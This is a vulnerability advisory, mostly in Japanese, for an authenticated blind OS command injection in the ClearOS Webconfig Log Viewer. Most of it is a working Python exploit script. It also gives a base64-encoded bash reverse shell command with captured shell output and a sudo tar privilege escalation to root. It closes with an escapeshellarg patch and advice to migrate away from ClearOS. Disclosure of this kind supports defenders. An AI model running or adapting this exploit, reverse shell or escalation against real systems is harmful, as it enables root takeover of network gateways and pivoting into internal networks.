
Authenticated Blind OS Command Injection in ClearOS
パッケージ: ClearFoundation
テスト済みバージョン: ClearOS 7.9.1.342252
脆弱性タイプ: OS コマンドインジェクション (CWE-78)
重大度: 高
CVE: CVE-2026-67599
CVSS v3.1 ベクター: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H (スコア: 7.2)
この CVE-2026-67599 の割り当てと追跡を支援してくれた VulnCheck に感謝します。
ClearOS は、CentOS/RHEL 上に構築されたオペレーティングシステムで、中小規模組織向けのネットワークゲートウェイ、統合脅威管理 (UTM) プラットフォーム、エッジサーバーとして機能するように設計されています。主にエッジデバイスとして動作し、ファイアウォールルール、VPN 接続、ルーティング、およびコアネットワークインフラストラクチャを管理します。
ClearOS はネットワーク境界に展開されるため、Webconfig (ポート 81) などの管理インターフェースが管理セグメントに公開されたり、外部ネットワークに直接公開されたりすることがよくあります。このインターフェースのコマンド実行の脆弱性により、攻撃者はゲートウェイを侵害し、エッジ上に永続的な足場を確立して、内部ネットワークセグメントへ直接ピボットすることができます。
/usr/clearos/apps/base/libraries/File.php — 297行、314行
Log Viewer エンドポイントに送信された filter パラメータは、File.php で構築されたシェルコマンドにサニタイズされずに渡されます。$regex 値は、適切にエスケープされた引数として渡されるのではなく、コマンド文字列に直接挿入されるため、$(...) やバッククォート式などのコマンド置換ペイロードが webconfig ユーザーとして実行される可能性があります。
これは、実際のエンゲージメント中に偶然見つけたものです。以下は、シンプルなアーティファクト生成スクリプトです。
#!/usr/bin/python3
import requests
import sys
import warnings
warnings.filterwarnings("ignore")
import argparse
import urllib.parse
parser = argparse.ArgumentParser()
parser.add_argument("-u", "--username", required=True, help="username")
parser.add_argument("-p", "--password", required=True, help="password")
parser.add_argument("-t", "--target", required=True, help="target")
parser.add_argument("-c", "--command", default="id>/tmp/lazytitanwazhere", help="command to execute (default: id>/tmp/lazytitanwazhere)")
args = parser.parse_args()
s = requests.Session()
s.headers.update({"Content-Type": "application/x-www-form-urlencoded"})
s.verify = False
login_data = f"ci_csrf_token=random&os_username={args.username}&os_password={args.password}&code=en_US&submit=Login"
s.post(f"https://{args.target}:81/app/base/session/login/", data=login_data, cookies={"ci_csrf_token":"random"})
token = s.cookies.get("ci_csrf_token")
command_to_execute = urllib.parse.quote_plus(args.command)
command_data = f"ci_csrf_token={token}&file=system&filter=$({command_to_execute})&display=Display"
s.post(f"https://{args.target}:81/app/log_viewer/index", data=command_data)
リバースシェルの例 (攻撃者 .1、ターゲット .129):
python .\testing.py -u root -p password -t 192.168.137.129 -c "echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEzNy4xLzEzMzcgMD4mMQ==|base64 -d|bash"
確認された出力:
Ncat: Connection from 192.168.137.129:52984.
bash: no job control in this shell
bash-4.2$ id
uid=995(webconfig) gid=994(webconfig) groups=994(webconfig)
デフォルトの非常に寛容な sudoers ルールを利用すると、root への権限昇格は容易に達成できます:
bash-4.2$ id
uid=995(webconfig) gid=994(webconfig) groups=994(webconfig)
bash-4.2$ sudo -l
Matching Defaults entries for webconfig on server:
!visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY
HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC
LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin, !syslog, env_keep+=http_proxy, env_keep+=https_proxy
User webconfig may run the following commands on server:
(root) NOPASSWD: /usr/bin/killall, /usr/sbin/postmap, /usr/sbin/postconf, /usr/sbin/run-app-upgrades,
/usr/sbin/configuration-restore, /bin/tar, /usr/sbin/mkdosfs, /usr/bin/cat, /usr/sbin/mkfs.vfat,
/usr/sbin/mkfs.xfs, /usr/bin/mount, /usr/sbin/pvs, /usr/sbin/vgdisplay, /usr/sbin/lvdisplay, /usr/sbin/pvremove,
/usr/sbin/vgremove, /usr/sbin/lvremove, /usr/bin/umount, /usr/bin/df, /usr/sbin/lvextend, /usr/sbin/lvreduce,
/usr/sbin/blkid, /usr/bin/mkdir, /usr/sbin/mkfs.ext3, /usr/sbin/mkfs.ext4, /usr/sbin/lvcreate,
/usr/sbin/vgcreate, /usr/sbin/pvcreate, /usr/sbin/storagize-mappings, /usr/sbin/app-storage-create,
/bin/findmnt, /sbin/sfdisk, /sbin/parted, /sbin/mkfs.ext3, /sbin/mkfs.ext4, /usr/sbin/ntpdate, /sbin/hwclock,
/usr/bin/openssl, /usr/sbin/dmidecode, /usr/sbin/initialize-accounts, /usr/sbin/nscd,
/usr/clearos/sandbox/usr/sbin/httpd, /usr/sbin/yum-install, /usr/bin/yum-config-manager, /usr/bin/yum,
/usr/sbin/userdel, /usr/sbin/app-manager, /usr/sbin/app-rename, /usr/sbin/app-realpath, /usr/sbin/app-passwd,
/usr/bin/systemctl, /usr/bin/passwd, /usr/bin/du, /usr/bin/chfn, /usr/bin/tail, /usr/bin/find, /usr/bin/file,
/usr/bin/api, /sbin/service, /sbin/shutdown, /bin/touch, /bin/rmdir, /bin/rm, /bin/rpm, /bin/mv, /bin/mkdir,
/bin/ls, /bin/kill, /bin/grep, /bin/df, /bin/cp, /bin/chown, /bin/chmod, /bin/cat, /usr/sbin/wc-yum,
/usr/bin/eventsctl, /usr/bin/mkhost.sh, /usr/sbin/brctl, /sbin/arping, /sbin/iwconfig, /sbin/ip, /sbin/ifup,
/sbin/ifdown, /sbin/ifconfig, /sbin/ethtool, /bin/hostname
以下の例では、tar バイナリを使用して root に昇格しています:
bash-4.2$ sudo tar cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
tar: Removing leading `/' from member names
[root@localhost ~]# id
uid=0(root) gid=0(root) groups=0(root)
Reports にアクセスできる認証済み Web インターフェースユーザーは、webconfig ユーザーとして OS レベルの完全なコマンド実行が可能になります。デフォルトの ClearOS 7.9 インストールでは、webconfig に広範な NOPASSWD sudo 権限が付与されているため、追加の認証情報なしで即座に root へ昇格できます。攻撃者は、システムが管理するすべてのデータ、サービス、ネットワーク設定を含む、基盤となるホストへの永続的な root アクセスを達成できます。
ClearOS は End-of-Life です。clearos.com から依然としてダウンロードできる最新ディストリビューション(バージョン ClearOS-7.9.1.342252)は 2021 年 10 月 13 日時点のものであり、上流からのメンテナンスやセキュリティアップデートは一切提供されていません。
このため、以下のコード修正はあくまで一時的な応急処置です。メンテナンスされていない OS をネットワーク境界で実行することは、火遊びも同然です。強く推奨される対応は、ClearOS から完全に移行し、サポートされているエッジデバイスまたは UTM プラットフォームを採用することです。
移行を計画している間もこのホストを稼働させ続ける必要がある場合は、/usr/clearos/apps/base/libraries/File.php の 297 行目と 314 行目で $regex を escapeshellarg() でラップし、次のコード:
'"' . $regex . '" ' . escapeshellarg($this->filename) . " > " . $tempfile,
を、次のコードに変更します:
'-e ' . escapeshellarg($regex) . ' ' . escapeshellarg($this->filename) . " >" . $tempfile,
その後、webconfig サービスを再起動します:
sudo systemctl restart webconfig